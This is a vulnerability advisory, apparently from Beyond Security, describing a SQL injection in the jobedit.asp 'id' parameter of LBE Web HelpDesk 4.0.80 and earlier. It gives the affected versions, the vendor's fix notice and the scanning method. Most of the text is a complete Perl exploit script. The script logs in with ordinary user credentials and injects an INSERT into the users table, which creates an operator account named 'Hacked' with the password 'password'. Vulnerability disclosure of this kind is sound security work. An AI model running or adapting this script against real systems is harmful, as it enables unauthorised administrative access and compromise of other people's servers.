*LBE Web HelpDesk SQL Injection * *Summary* Leigh Business Enterprises's Web HelpDesk is "operated entirely through your web browser and is designed to be used by both your support staff and your customers". We found the product to contain at least one exploitable SQL Injection vulnerability that would allow a normal user to gain administrative privileges to the Leigh Business Enterprises's Web HelpDesk product. *Details* *Vulnerable Systems:* * Leigh Business Enterprises's (LBE) Web HelpDesk 4.0.80 and prior *Immune Systems:* * Leigh Business Enterprises's (LBE) Web HelpDesk version 4.0.0.81 or newer We found the product to contain at least one exploitable SQL Injection vulnerability that would allow a normal user to at the very least gain administrative privileges to the Leigh Business Enterprises's Web HelpDesk product, at the worst case he will be able to get complete control over (administrative privileges) the computer on which the Leigh Business Enterprises's Web HelpDesk is installed and utilize it to gain access to other computers. The vulnerable page is the jobedit.asp, and its 'id' parameter. The parameter receives, from the user, part of SQL statement that is later used by the Leigh Business Enterprises's Web HelpDesk. If we insert a malicious SQL statement to the 'id' parameter, we can modify the 'users' table, and add a new user that will have the permissions of as an operator. See the below exploit code demonstrating how we gain administrative privileges to Leigh Business Enterprises's Web HelpDesk, by only providing it with a username and password (regular user). *Vendor response:* /We have today sent out a notification to our customers with details of the fix that can be downloaded from: http://www.lbehelpdesk.com/helpdesk-latest.htm/. *Testing Methodology:* A few months ago Beyond Security built a new module for its Automated Scanning Vulnerability Assessment engine to test web sites and web applications for security vulnerabilities. This module adds the capability to dynamically crawl through a web site and find vulnerabilities in its dynamic pages. This type of tool was considered to be different from the network VA tools, but we at Beyond Security believe that these two types of tools should be merged into one, and this is what made us incorporate the Web Site Security Audit module to our Automated Scanning engine. For a press release on this integration see: http://www.beyondsecurity.com/press/2004/press10030402.htm White paper on the first integrated network and web application vulnerability scanner: http://www.beyondsecurity.com/webscan-wp.pdf Our Automated Scanning engine equipped with the Web Site Security Audit module did all the tests described in this advisory automatically. *Exploit:* #!/usr/bin/perl use IO::Socket; use strict; my $host = $ARGV[0]; my $Path = $ARGV[1]; my $Email = $ARGV[2]; my $Password = $ARGV[3]; if (($#ARGV+1) < 4) { print "lbehelpdesk.pl host path email password\n"; exit(0); } my $remote = IO::Socket::INET->new ( Proto => "tcp", PeerAddr => $host, PeerPort => "80" ); unless ($remote) { die "cannot connect to http daemon on $host" } print "Getting default cookie\n"; my $http = "GET /$Path/oplogin.asp HTTP/1.1 Host: $host User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.6) Gecko/20040405 Firefox/0.8 Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,video/x-mng,image/png,image/jpeg,ima ge/gif;q=0.2,*/*;q=0.1 Accept-Language: en-us,en;q=0.5 Accept-Encoding: gzip,deflate Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7 Connection: close "; print "HTTP: [$http]\n"; print $remote $http; sleep(1); my $Cookie = ""; while (<$remote>) { if (/Set-Cookie: ([^;]+;)/) { $Cookie .= $1." "; } # print $_; } print "\n"; close($remote); $remote = IO::Socket::INET->new ( Proto => "tcp", PeerAddr => $host, PeerPort => "80" ); unless ($remote) { die "cannot connect to http daemon on $host" } print "Logging in\n"; $remote->autoflush(1); my $http = "POST /$Path/gstlogin.asp HTTP/1.1 Host: $host User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.6) Gecko/20040405 Firefox/0.8 Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,video/x-mng,image/png,image/jpeg,image/gif;q=0.2,*/*;q=0.1 Accept-Language: en-us,en;q=0.5 Accept-Encoding: gzip,deflate Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7 Connection: close Referer: http://192.168.1.243/lbehelpdesk/gstlogin.asp Cookie: $Cookie Content-Type: application/x-www-form-urlencoded Content-Length: "; my $content = "txtemail=$Email&txtpwd=$Password"; $http .= length($content)." $content"; print "HTTP: [$http]\n"; print $remote $http; sleep(1); my $success = 0; while (<$remote>) { if (/Location: eval.asp/) { $success = 1; print "Login successfull\n"; } # print $_; } print "\n"; close $remote; if (!$success) { print "Login failed\n"; exit(0); } $http = "GET /$Path/jobedit.asp?id=0%20;%20INSERT%20INTO%20users%20(%20user_name,". "%20password,%20editactiontime,%20orgstructure,%20createviewtemplate,". "%20removelogins,%20editlinkedfiles,%20newencrypt,%20showalljobs,". "%20publishmacros,%20override_contract%20)%20VALUES%20('Hacked',". "%20'60716363677F6274',%201,%201,%201,%201,%201,%20'Y',%201,". "%201,%201) HTTP/1.1 Host: $host User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.6) Gecko/20040405 Firefox/0.8 Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,video/x-mng,image/png,image/jpeg,image/gif;q=0.2,*/*;q=0.1 Accept-Language: en-us,en;q=0.5 Accept-Encoding: gzip,deflate Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7 Connection: close Referer: http://192.168.1.243/lbehelpdesk/gstlogin.asp Cookie: $Cookie "; $remote = IO::Socket::INET->new ( Proto => "tcp", PeerAddr => $host, PeerPort => "80" ); unless ($remote) { die "cannot connect to http daemon on $host" } print "HTTP: [$http]\n"; print $remote $http; sleep(1); while (<$remote>) { if (/Unable to find Job id = 0 ; INSERT INTO users/g) { print "Successfully added record\nYou can now log on as Hacked/password (Username/Password)\n"; } # print $_; } close($remote); # INSERT INTO users ( user_name, password, editactiontime, orgstructure, createviewtemplate, removelogins, editlinkedfiles, newencrypt, showalljobs, publishmacros, override_contract ) VALUES ('Hacked', '60716363677F6274', 1, 1, 1, 1, 1, 'Y', 1, 1, 1) # Password is 'password' *Additional information* The information has been provided by Noam Rathaus